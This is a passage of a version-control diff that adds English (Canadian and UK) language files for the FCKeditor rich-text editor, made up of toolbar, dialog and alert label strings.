+DlgSpellNoChanges		: "Spell check complete: No words changed",
+DlgSpellOneChange		: "Spell check complete: One word changed",
+DlgSpellManyChanges		: "Spell check complete: %1 words changed",
+
+IeSpellDownload			: "Spell checker not installed. Do you want to download it now?",
+
+// Button Dialog
+DlgButtonText		: "Text (Value)",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",
+DlgButtonTypeSbm	: "Submit",
+DlgButtonTypeRst	: "Reset",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",
+DlgCheckboxValue	: "Value",
+DlgCheckboxSelected	: "Selected",
+
+// Form Dialog
+DlgFormName		: "Name",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Method",
+
+// Select Field Dialog
+DlgSelectName		: "Name",
+DlgSelectValue		: "Value",
+DlgSelectSize		: "Size",
+DlgSelectLines		: "lines",
+DlgSelectChkMulti	: "Allow multiple selections",
+DlgSelectOpAvail	: "Available Options",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Value",
+DlgSelectBtnAdd		: "Add",
+DlgSelectBtnModify	: "Modify",
+DlgSelectBtnUp		: "Up",
+DlgSelectBtnDown	: "Down",
+DlgSelectBtnSetValue : "Set as selected value",
+DlgSelectBtnDelete	: "Delete",
+
+// Textarea Dialog
+DlgTextareaName	: "Name",
+DlgTextareaCols	: "Columns",
+DlgTextareaRows	: "Rows",
+
+// Text Field Dialog
+DlgTextName			: "Name",
+DlgTextValue		: "Value",
+DlgTextCharWidth	: "Character Width",
+DlgTextMaxChars		: "Maximum Characters",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Password",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",
+DlgHiddenValue	: "Value",
+
+// Bulleted List Dialog
+BulletedListProp	: "Bulleted List Properties",
+NumberedListProp	: "Numbered List Properties",
+DlgLstStart			: "Start",
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Circle",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "Square",
+DlgLstTypeNumbers	: "Numbers (1, 2, 3)",
+DlgLstTypeLCase		: "Lowercase Letters (a, b, c)",
+DlgLstTypeUCase		: "Uppercase Letters (A, B, C)",
+DlgLstTypeSRoman	: "Small Roman Numerals (i, ii, iii)",
+DlgLstTypeLRoman	: "Large Roman Numerals (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Background",
+DlgDocColorsTab		: "Colours and Margins",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Page Title",
+DlgDocLangDir		: "Language Direction",
+DlgDocLangDirLTR	: "Left to Right (LTR)",
+DlgDocLangDirRTL	: "Right to Left (RTL)",
+DlgDocLangCode		: "Language Code",
+DlgDocCharSet		: "Character Set Encoding",
+DlgDocCharSetCE		: "Central European",
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",
+DlgDocCharSetCR		: "Cyrillic",
+DlgDocCharSetGR		: "Greek",
+DlgDocCharSetJP		: "Japanese",
+DlgDocCharSetKR		: "Korean",
+DlgDocCharSetTR		: "Turkish",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Western European",
+DlgDocCharSetOther	: "Other Character Set Encoding",
+
+DlgDocDocType		: "Document Type Heading",
+DlgDocDocTypeOther	: "Other Document Type Heading",
+DlgDocIncXHTML		: "Include XHTML Declarations",
+DlgDocBgColor		: "Background Colour",
+DlgDocBgImage		: "Background Image URL",
+DlgDocBgNoScroll	: "Nonscrolling Background",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Visited Link",
+DlgDocCActive		: "Active Link",
+DlgDocMargins		: "Page Margins",
+DlgDocMaTop			: "Top",
+DlgDocMaLeft		: "Left",
+DlgDocMaRight		: "Right",
+DlgDocMaBottom		: "Bottom",
+DlgDocMeIndex		: "Document Indexing Keywords (comma separated)",
+DlgDocMeDescr		: "Document Description",
+DlgDocMeAuthor		: "Author",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Preview",
+
+// Templates Dialog
+Templates			: "Templates",
+DlgTemplatesTitle	: "Content Templates",
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",
+DlgTemplatesLoading	: "Loading templates list. Please wait...",
+DlgTemplatesNoTpl	: "(No templates defined)",
+DlgTemplatesReplace	: "Replace actual contents",
+
+// About Dialog
+DlgAboutAboutTab	: "About",
+DlgAboutBrowserInfoTab	: "Browser Info",
+DlgAboutLicenseTab	: "License",
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "For further information go to"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-ca.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-ca.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-ca.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: en-ca.js
+ * 	English (Canadian) language file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		Kevin Bennett
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Collapse Toolbar",
+ToolbarExpand		: "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save				: "Save",
+NewPage				: "New Page",
+Preview				: "Preview",
+Cut					: "Cut",
+Copy				: "Copy",
+Paste				: "Paste",
+PasteText			: "Paste as plain text",
+PasteWord			: "Paste from Word",
+Print				: "Print",
+SelectAll			: "Select All",
+RemoveFormat		: "Remove Format",
+InsertLinkLbl		: "Link",
+InsertLink			: "Insert/Edit Link",
+RemoveLink			: "Remove Link",
+Anchor				: "Insert/Edit Anchor",
+InsertImageLbl		: "Image",
+InsertImage			: "Insert/Edit Image",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insert/Edit Flash",
+InsertTableLbl		: "Table",
+InsertTable			: "Insert/Edit Table",
+InsertLineLbl		: "Line",
+InsertLine			: "Insert Horizontal Line",
+InsertSpecialCharLbl: "Special Character",
+InsertSpecialChar	: "Insert Special Character",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Insert Smiley",
+About				: "About FCKeditor",
+Bold				: "Bold",
+Italic				: "Italic",
+Underline			: "Underline",
+StrikeThrough		: "Strike Through",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Left Justify",
+CenterJustify		: "Centre Justify",
+RightJustify		: "Right Justify",
+BlockJustify		: "Block Justify",
+DecreaseIndent		: "Decrease Indent",
+IncreaseIndent		: "Increase Indent",
+Undo				: "Undo",
+Redo				: "Redo",
+NumberedListLbl		: "Numbered List",
+NumberedList		: "Insert/Remove Numbered List",
+BulletedListLbl		: "Bulleted List",
+BulletedList		: "Insert/Remove Bulleted List",
+ShowTableBorders	: "Show Table Borders",
+ShowDetails			: "Show Details",
+Style				: "Style",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Size",
+TextColor			: "Text Colour",
+BGColor				: "Background Colour",
+Source				: "Source",
+Find				: "Find",
+Replace				: "Replace",
+SpellCheck			: "Check Spelling",
+UniversalKeyboard	: "Universal Keyboard",
+PageBreakLbl		: "Page Break",
+PageBreak			: "Insert Page Break",
+
+Form			: "Form",
+Checkbox		: "Checkbox",
+RadioButton		: "Radio Button",
+TextField		: "Text Field",
+Textarea		: "Textarea",
+HiddenField		: "Hidden Field",
+Button			: "Button",
+SelectionField	: "Selection Field",
+ImageButton		: "Image Button",
+
+FitWindow		: "Maximize the editor size",
+
+// Context Menu
+EditLink			: "Edit Link",
+CellCM				: "Cell",
+RowCM				: "Row",
+ColumnCM			: "Column",
+InsertRow			: "Insert Row",
+DeleteRows			: "Delete Rows",
+InsertColumn		: "Insert Column",
+DeleteColumns		: "Delete Columns",
+InsertCell			: "Insert Cell",
+DeleteCells			: "Delete Cells",
+MergeCells			: "Merge Cells",
+SplitCell			: "Split Cell",
+TableDelete			: "Delete Table",
+CellProperties		: "Cell Properties",
+TableProperties		: "Table Properties",
+ImageProperties		: "Image Properties",
+FlashProperties		: "Flash Properties",
+
+AnchorProp			: "Anchor Properties",
+ButtonProp			: "Button Properties",
+CheckboxProp		: "Checkbox Properties",
+HiddenFieldProp		: "Hidden Field Properties",
+RadioButtonProp		: "Radio Button Properties",
+ImageButtonProp		: "Image Button Properties",
+TextFieldProp		: "Text Field Properties",
+SelectionFieldProp	: "Selection Field Properties",
+TextareaProp		: "Textarea Properties",
+FormProp			: "Form Properties",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Processing XHTML. Please wait...",
+Done				: "Done",
+PasteWordConfirm	: "The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?",
+NotCompatiblePaste	: "This command is available for Internet Explorer version 5.5 or more. Do you want to paste without cleaning?",
+UnknownToolbarItem	: "Unknown toolbar item \"%1\"",
+UnknownCommand		: "Unknown command name \"%1\"",
+NotImplemented		: "Command not implemented",
+UnknownToolbarSet	: "Toolbar set \"%1\" doesn't exist",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancel",
+DlgBtnClose			: "Close",
+DlgBtnBrowseServer	: "Browse Server",
+DlgAdvancedTag		: "Advanced",
+DlgOpOther			: "<Other>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Please insert the URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<not set>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Language Direction",
+DlgGenLangDirLtr	: "Left to Right (LTR)",
+DlgGenLangDirRtl	: "Right to Left (RTL)",
+DlgGenLangCode		: "Language Code",
+DlgGenAccessKey		: "Access Key",
+DlgGenName			: "Name",
+DlgGenTabIndex		: "Tab Index",
+DlgGenLongDescr		: "Long Description URL",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Image Properties",
+DlgImgInfoTab		: "Image Info",
+DlgImgBtnUpload		: "Send it to the Server",
+DlgImgURL			: "URL",
+DlgImgUpload		: "Upload",
+DlgImgAlt			: "Alternative Text",
+DlgImgWidth			: "Width",
+DlgImgHeight		: "Height",
+DlgImgLockRatio		: "Lock Ratio",
+DlgBtnResetSize		: "Reset Size",
+DlgImgBorder		: "Border",
+DlgImgHSpace		: "HSpace",
+DlgImgVSpace		: "VSpace",
+DlgImgAlign			: "Align",
+DlgImgAlignLeft		: "Left",
+DlgImgAlignAbsBottom: "Abs Bottom",
+DlgImgAlignAbsMiddle: "Abs Middle",
+DlgImgAlignBaseline	: "Baseline",
+DlgImgAlignBottom	: "Bottom",
+DlgImgAlignMiddle	: "Middle",
+DlgImgAlignRight	: "Right",
+DlgImgAlignTextTop	: "Text Top",
+DlgImgAlignTop		: "Top",
+DlgImgPreview		: "Preview",
+DlgImgAlertUrl		: "Please type the image URL",
+DlgImgLinkTab		: "Link",
+
+// Flash Dialog
+DlgFlashTitle		: "Flash Properties",
+DlgFlashChkPlay		: "Auto Play",
+DlgFlashChkLoop		: "Loop",
+DlgFlashChkMenu		: "Enable Flash Menu",
+DlgFlashScale		: "Scale",
+DlgFlashScaleAll	: "Show all",
+DlgFlashScaleNoBorder	: "No Border",
+DlgFlashScaleFit	: "Exact Fit",
+
+// Link Dialog
+DlgLnkWindowTitle	: "Link",
+DlgLnkInfoTab		: "Link Info",
+DlgLnkTargetTab		: "Target",
+
+DlgLnkType			: "Link Type",
+DlgLnkTypeURL		: "URL",
+DlgLnkTypeAnchor	: "Link to anchor in the text",
+DlgLnkTypeEMail		: "E-Mail",
+DlgLnkProto			: "Protocol",
+DlgLnkProtoOther	: "<other>",
+DlgLnkURL			: "URL",
+DlgLnkAnchorSel		: "Select an Anchor",
+DlgLnkAnchorByName	: "By Anchor Name",
+DlgLnkAnchorById	: "By Element Id",
+DlgLnkNoAnchors		: "<No anchors available in the document>",
+DlgLnkEMail			: "E-Mail Address",
+DlgLnkEMailSubject	: "Message Subject",
+DlgLnkEMailBody		: "Message Body",
+DlgLnkUpload		: "Upload",
+DlgLnkBtnUpload		: "Send it to the Server",
+
+DlgLnkTarget		: "Target",
+DlgLnkTargetFrame	: "<frame>",
+DlgLnkTargetPopup	: "<popup window>",
+DlgLnkTargetBlank	: "New Window (_blank)",
+DlgLnkTargetParent	: "Parent Window (_parent)",
+DlgLnkTargetSelf	: "Same Window (_self)",
+DlgLnkTargetTop		: "Topmost Window (_top)",
+DlgLnkTargetFrameName	: "Target Frame Name",
+DlgLnkPopWinName	: "Popup Window Name",
+DlgLnkPopWinFeat	: "Popup Window Features",
+DlgLnkPopResize		: "Resizable",
+DlgLnkPopLocation	: "Location Bar",
+DlgLnkPopMenu		: "Menu Bar",
+DlgLnkPopScroll		: "Scroll Bars",
+DlgLnkPopStatus		: "Status Bar",
+DlgLnkPopToolbar	: "Toolbar",
+DlgLnkPopFullScrn	: "Full Screen (IE)",
+DlgLnkPopDependent	: "Dependent (Netscape)",
+DlgLnkPopWidth		: "Width",
+DlgLnkPopHeight		: "Height",
+DlgLnkPopLeft		: "Left Position",
+DlgLnkPopTop		: "Top Position",
+
+DlnLnkMsgNoUrl		: "Please type the link URL",
+DlnLnkMsgNoEMail	: "Please type the e-mail address",
+DlnLnkMsgNoAnchor	: "Please select an anchor",
+DlnLnkMsgInvPopName	: "The popup name must begin with an alphabetic character and must not contain spaces",
+
+// Color Dialog
+DlgColorTitle		: "Select Colour",
+DlgColorBtnClear	: "Clear",
+DlgColorHighlight	: "Highlight",
+DlgColorSelected	: "Selected",
+
+// Smiley Dialog
+DlgSmileyTitle		: "Insert a Smiley",
+
+// Special Character Dialog
+DlgSpecialCharTitle	: "Select Special Character",
+
+// Table Dialog
+DlgTableTitle		: "Table Properties",
+DlgTableRows		: "Rows",
+DlgTableColumns		: "Columns",
+DlgTableBorder		: "Border size",
+DlgTableAlign		: "Alignment",
+DlgTableAlignNotSet	: "<Not set>",
+DlgTableAlignLeft	: "Left",
+DlgTableAlignCenter	: "Centre",
+DlgTableAlignRight	: "Right",
+DlgTableWidth		: "Width",
+DlgTableWidthPx		: "pixels",
+DlgTableWidthPc		: "percent",
+DlgTableHeight		: "Height",
+DlgTableCellSpace	: "Cell spacing",
+DlgTableCellPad		: "Cell padding",
+DlgTableCaption		: "Caption",
+DlgTableSummary		: "Summary",
+
+// Table Cell Dialog
+DlgCellTitle		: "Cell Properties",
+DlgCellWidth		: "Width",
+DlgCellWidthPx		: "pixels",
+DlgCellWidthPc		: "percent",
+DlgCellHeight		: "Height",
+DlgCellWordWrap		: "Word Wrap",
+DlgCellWordWrapNotSet	: "<Not set>",
+DlgCellWordWrapYes	: "Yes",
+DlgCellWordWrapNo	: "No",
+DlgCellHorAlign		: "Horizontal Alignment",
+DlgCellHorAlignNotSet	: "<Not set>",
+DlgCellHorAlignLeft	: "Left",
+DlgCellHorAlignCenter	: "Centre",
+DlgCellHorAlignRight: "Right",
+DlgCellVerAlign		: "Vertical Alignment",
+DlgCellVerAlignNotSet	: "<Not set>",
+DlgCellVerAlignTop	: "Top",
+DlgCellVerAlignMiddle	: "Middle",
+DlgCellVerAlignBottom	: "Bottom",
+DlgCellVerAlignBaseline	: "Baseline",
+DlgCellRowSpan		: "Rows Span",
+DlgCellCollSpan		: "Columns Span",
+DlgCellBackColor	: "Background Colour",
+DlgCellBorderColor	: "Border Colour",
+DlgCellBtnSelect	: "Select...",
+
+// Find Dialog
+DlgFindTitle		: "Find",
+DlgFindFindBtn		: "Find",
+DlgFindNotFoundMsg	: "The specified text was not found.",
+
+// Replace Dialog
+DlgReplaceTitle			: "Replace",
+DlgReplaceFindLbl		: "Find what:",
+DlgReplaceReplaceLbl	: "Replace with:",
+DlgReplaceCaseChk		: "Match case",
+DlgReplaceReplaceBtn	: "Replace",
+DlgReplaceReplAllBtn	: "Replace All",
+DlgReplaceWordChk		: "Match whole word",
+
+// Paste Operations / Dialog
+PasteErrorPaste	: "Your browser security settings don't permit the editor to automatically execute pasting operations. Please use the keyboard for that (Ctrl+V).",
+PasteErrorCut	: "Your browser security settings don't permit the editor to automatically execute cutting operations. Please use the keyboard for that (Ctrl+X).",
+PasteErrorCopy	: "Your browser security settings don't permit the editor to automatically execute copying operations. Please use the keyboard for that (Ctrl+C).",
+
+PasteAsText		: "Paste as Plain Text",
+PasteFromWord	: "Paste from Word",
+
+DlgPasteMsg2	: "Please paste inside the following box using the keyboard (<STRONG>Ctrl+V</STRONG>) and hit <STRONG>OK</STRONG>.",
+DlgPasteIgnoreFont		: "Ignore Font Face definitions",
+DlgPasteRemoveStyles	: "Remove Styles definitions",
+DlgPasteCleanBox		: "Clean Up Box",
+
+// Color Picker
+ColorAutomatic	: "Automatic",
+ColorMoreColors	: "More Colours...",
+
+// Document Properties
+DocProps		: "Document Properties",
+
+// Anchor Dialog
+DlgAnchorTitle		: "Anchor Properties",
+DlgAnchorName		: "Anchor Name",
+DlgAnchorErrorName	: "Please type the anchor name",
+
+// Speller Pages Dialog
+DlgSpellNotInDic		: "Not in dictionary",
+DlgSpellChangeTo		: "Change to",
+DlgSpellBtnIgnore		: "Ignore",
+DlgSpellBtnIgnoreAll	: "Ignore All",
+DlgSpellBtnReplace		: "Replace",
+DlgSpellBtnReplaceAll	: "Replace All",
+DlgSpellBtnUndo			: "Undo",
+DlgSpellNoSuggestions	: "- No suggestions -",
+DlgSpellProgress		: "Spell check in progress...",
+DlgSpellNoMispell		: "Spell check complete: No misspellings found",
+DlgSpellNoChanges		: "Spell check complete: No words changed",
+DlgSpellOneChange		: "Spell check complete: One word changed",
+DlgSpellManyChanges		: "Spell check complete: %1 words changed",
+
+IeSpellDownload			: "Spell checker not installed. Do you want to download it now?",
+
+// Button Dialog
+DlgButtonText		: "Text (Value)",
+DlgButtonType		: "Type",
+DlgButtonTypeBtn	: "Button",
+DlgButtonTypeSbm	: "Submit",
+DlgButtonTypeRst	: "Reset",
+
+// Checkbox and Radio Button Dialogs
+DlgCheckboxName		: "Name",
+DlgCheckboxValue	: "Value",
+DlgCheckboxSelected	: "Selected",
+
+// Form Dialog
+DlgFormName		: "Name",
+DlgFormAction	: "Action",
+DlgFormMethod	: "Method",
+
+// Select Field Dialog
+DlgSelectName		: "Name",
+DlgSelectValue		: "Value",
+DlgSelectSize		: "Size",
+DlgSelectLines		: "lines",
+DlgSelectChkMulti	: "Allow multiple selections",
+DlgSelectOpAvail	: "Available Options",
+DlgSelectOpText		: "Text",
+DlgSelectOpValue	: "Value",
+DlgSelectBtnAdd		: "Add",
+DlgSelectBtnModify	: "Modify",
+DlgSelectBtnUp		: "Up",
+DlgSelectBtnDown	: "Down",
+DlgSelectBtnSetValue : "Set as selected value",
+DlgSelectBtnDelete	: "Delete",
+
+// Textarea Dialog
+DlgTextareaName	: "Name",
+DlgTextareaCols	: "Columns",
+DlgTextareaRows	: "Rows",
+
+// Text Field Dialog
+DlgTextName			: "Name",
+DlgTextValue		: "Value",
+DlgTextCharWidth	: "Character Width",
+DlgTextMaxChars		: "Maximum Characters",
+DlgTextType			: "Type",
+DlgTextTypeText		: "Text",
+DlgTextTypePass		: "Password",
+
+// Hidden Field Dialog
+DlgHiddenName	: "Name",
+DlgHiddenValue	: "Value",
+
+// Bulleted List Dialog
+BulletedListProp	: "Bulleted List Properties",
+NumberedListProp	: "Numbered List Properties",
+DlgLstStart			: "Start",
+DlgLstType			: "Type",
+DlgLstTypeCircle	: "Circle",
+DlgLstTypeDisc		: "Disc",
+DlgLstTypeSquare	: "Square",
+DlgLstTypeNumbers	: "Numbers (1, 2, 3)",
+DlgLstTypeLCase		: "Lowercase Letters (a, b, c)",
+DlgLstTypeUCase		: "Uppercase Letters (A, B, C)",
+DlgLstTypeSRoman	: "Small Roman Numerals (i, ii, iii)",
+DlgLstTypeLRoman	: "Large Roman Numerals (I, II, III)",
+
+// Document Properties Dialog
+DlgDocGeneralTab	: "General",
+DlgDocBackTab		: "Background",
+DlgDocColorsTab		: "Colours and Margins",
+DlgDocMetaTab		: "Meta Data",
+
+DlgDocPageTitle		: "Page Title",
+DlgDocLangDir		: "Language Direction",
+DlgDocLangDirLTR	: "Left to Right (LTR)",
+DlgDocLangDirRTL	: "Right to Left (RTL)",
+DlgDocLangCode		: "Language Code",
+DlgDocCharSet		: "Character Set Encoding",
+DlgDocCharSetCE		: "Central European",
+DlgDocCharSetCT		: "Chinese Traditional (Big5)",
+DlgDocCharSetCR		: "Cyrillic",
+DlgDocCharSetGR		: "Greek",
+DlgDocCharSetJP		: "Japanese",
+DlgDocCharSetKR		: "Korean",
+DlgDocCharSetTR		: "Turkish",
+DlgDocCharSetUN		: "Unicode (UTF-8)",
+DlgDocCharSetWE		: "Western European",
+DlgDocCharSetOther	: "Other Character Set Encoding",
+
+DlgDocDocType		: "Document Type Heading",
+DlgDocDocTypeOther	: "Other Document Type Heading",
+DlgDocIncXHTML		: "Include XHTML Declarations",
+DlgDocBgColor		: "Background Colour",
+DlgDocBgImage		: "Background Image URL",
+DlgDocBgNoScroll	: "Nonscrolling Background",
+DlgDocCText			: "Text",
+DlgDocCLink			: "Link",
+DlgDocCVisited		: "Visited Link",
+DlgDocCActive		: "Active Link",
+DlgDocMargins		: "Page Margins",
+DlgDocMaTop			: "Top",
+DlgDocMaLeft		: "Left",
+DlgDocMaRight		: "Right",
+DlgDocMaBottom		: "Bottom",
+DlgDocMeIndex		: "Document Indexing Keywords (comma separated)",
+DlgDocMeDescr		: "Document Description",
+DlgDocMeAuthor		: "Author",
+DlgDocMeCopy		: "Copyright",
+DlgDocPreview		: "Preview",
+
+// Templates Dialog
+Templates			: "Templates",
+DlgTemplatesTitle	: "Content Templates",
+DlgTemplatesSelMsg	: "Please select the template to open in the editor<br>(the actual contents will be lost):",
+DlgTemplatesLoading	: "Loading templates list. Please wait...",
+DlgTemplatesNoTpl	: "(No templates defined)",
+DlgTemplatesReplace	: "Replace actual contents",
+
+// About Dialog
+DlgAboutAboutTab	: "About",
+DlgAboutBrowserInfoTab	: "Browser Info",
+DlgAboutLicenseTab	: "License",
+DlgAboutVersion		: "version",
+DlgAboutLicense		: "Licensed under the terms of the GNU Lesser General Public License",
+DlgAboutInfo		: "For further information go to"
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-uk.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-uk.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/lang/en-uk.js	(revision 44)
@@ -0,0 +1,502 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: en-uk.js
+ * 	English (United Kingdom) language file.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		Christopher Dawes (fckeditor@dawes.id.au)
+ */
+
+var FCKLang =
+{
+// Language direction : "ltr" (left to right) or "rtl" (right to left).
+Dir					: "ltr",
+
+ToolbarCollapse		: "Collapse Toolbar",
+ToolbarExpand		: "Expand Toolbar",
+
+// Toolbar Items and Context Menu
+Save				: "Save",
+NewPage				: "New Page",
+Preview				: "Preview",
+Cut					: "Cut",
+Copy				: "Copy",
+Paste				: "Paste",
+PasteText			: "Paste as plain text",
+PasteWord			: "Paste from Word",
+Print				: "Print",
+SelectAll			: "Select All",
+RemoveFormat		: "Remove Format",
+InsertLinkLbl		: "Link",
+InsertLink			: "Insert/Edit Link",
+RemoveLink			: "Remove Link",
+Anchor				: "Insert/Edit Anchor",
+InsertImageLbl		: "Image",
+InsertImage			: "Insert/Edit Image",
+InsertFlashLbl		: "Flash",
+InsertFlash			: "Insert/Edit Flash",
+InsertTableLbl		: "Table",
+InsertTable			: "Insert/Edit Table",
+InsertLineLbl		: "Line",
+InsertLine			: "Insert Horizontal Line",
+InsertSpecialCharLbl: "Special Character",
+InsertSpecialChar	: "Insert Special Character",
+InsertSmileyLbl		: "Smiley",
+InsertSmiley		: "Insert Smiley",
+About				: "About FCKeditor",
+Bold				: "Bold",
+Italic				: "Italic",
+Underline			: "Underline",
+StrikeThrough		: "Strike Through",
+Subscript			: "Subscript",
+Superscript			: "Superscript",
+LeftJustify			: "Left Justify",
+CenterJustify		: "Centre Justify",
+RightJustify		: "Right Justify",
+BlockJustify		: "Block Justify",
+DecreaseIndent		: "Decrease Indent",
+IncreaseIndent		: "Increase Indent",
+Undo				: "Undo",
+Redo				: "Redo",
+NumberedListLbl		: "Numbered List",
+NumberedList		: "Insert/Remove Numbered List",
+BulletedListLbl		: "Bulleted List",
+BulletedList		: "Insert/Remove Bulleted List",
+ShowTableBorders	: "Show Table Borders",
+ShowDetails			: "Show Details",
+Style				: "Style",
+FontFormat			: "Format",
+Font				: "Font",
+FontSize			: "Size",
+TextColor			: "Text Colour",
+BGColor				: "Background Colour",
+Source				: "Source",
+Find				: "Find",
+Replace				: "Replace",
+SpellCheck			: "Check Spelling",
+UniversalKeyboard	: "Universal Keyboard",
+PageBreakLbl		: "Page Break",
+PageBreak			: "Insert Page Break",
+
+Form			: "Form",
+Checkbox		: "Checkbox",
+RadioButton		: "Radio Button",
+TextField		: "Text Field",
+Textarea		: "Textarea",
+HiddenField		: "Hidden Field",
+Button			: "Button",
+SelectionField	: "Selection Field",
+ImageButton		: "Image Button",
+
+FitWindow		: "Maximize the editor size",
+
+// Context Menu
+EditLink			: "Edit Link",
+CellCM				: "Cell",
+RowCM				: "Row",
+ColumnCM			: "Column",
+InsertRow			: "Insert Row",
+DeleteRows			: "Delete Rows",
+InsertColumn		: "Insert Column",
+DeleteColumns		: "Delete Columns",
+InsertCell			: "Insert Cell",
+DeleteCells			: "Delete Cells",
+MergeCells			: "Merge Cells",
+SplitCell			: "Split Cell",
+TableDelete			: "Delete Table",
+CellProperties		: "Cell Properties",
+TableProperties		: "Table Properties",
+ImageProperties		: "Image Properties",
+FlashProperties		: "Flash Properties",
+
+AnchorProp			: "Anchor Properties",
+ButtonProp			: "Button Properties",
+CheckboxProp		: "Checkbox Properties",
+HiddenFieldProp		: "Hidden Field Properties",
+RadioButtonProp		: "Radio Button Properties",
+ImageButtonProp		: "Image Button Properties",
+TextFieldProp		: "Text Field Properties",
+SelectionFieldProp	: "Selection Field Properties",
+TextareaProp		: "Textarea Properties",
+FormProp			: "Form Properties",
+
+FontFormats			: "Normal;Formatted;Address;Heading 1;Heading 2;Heading 3;Heading 4;Heading 5;Heading 6;Normal (DIV)",
+
+// Alerts and Messages
+ProcessingXHTML		: "Processing XHTML. Please wait...",
+Done				: "Done",
+PasteWordConfirm	: "The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?",
+NotCompatiblePaste	: "This command is available for Internet Explorer version 5.5 or more. Do you want to paste without cleaning?",
+UnknownToolbarItem	: "Unknown toolbar item \"%1\"",
+UnknownCommand		: "Unknown command name \"%1\"",
+NotImplemented		: "Command not implemented",
+UnknownToolbarSet	: "Toolbar set \"%1\" doesn't exist",
+NoActiveX			: "Your browser's security settings could limit some features of the editor. You must enable the option \"Run ActiveX controls and plug-ins\". You may experience errors and notice missing features.",
+BrowseServerBlocked : "The resources browser could not be opened. Make sure that all popup blockers are disabled.",
+DialogBlocked		: "It was not possible to open the dialog window. Make sure all popup blockers are disabled.",
+
+// Dialogs
+DlgBtnOK			: "OK",
+DlgBtnCancel		: "Cancel",
+DlgBtnClose			: "Close",
+DlgBtnBrowseServer	: "Browse Server",
+DlgAdvancedTag		: "Advanced",
+DlgOpOther			: "<Other>",
+DlgInfoTab			: "Info",
+DlgAlertUrl			: "Please insert the URL",
+
+// General Dialogs Labels
+DlgGenNotSet		: "<not set>",
+DlgGenId			: "Id",
+DlgGenLangDir		: "Language Direction",
+DlgGenLangDirLtr	: "Left to Right (LTR)",
+DlgGenLangDirRtl	: "Right to Left (RTL)",
+DlgGenLangCode		: "Language Code",
+DlgGenAccessKey		: "Access Key",
+DlgGenName			: "Name",
+DlgGenTabIndex		: "Tab Index",
+DlgGenLongDescr		: "Long Description URL",
+DlgGenClass			: "Stylesheet Classes",
+DlgGenTitle			: "Advisory Title",
+DlgGenContType		: "Advisory Content Type",
+DlgGenLinkCharset	: "Linked Resource Charset",
+DlgGenStyle			: "Style",
+
+// Image Dialog
+DlgImgTitle			: "Image Properties",
+DlgImgInfoTab		: "Image Info",
+DlgImgBtnUpload		: "Send it to the Server",
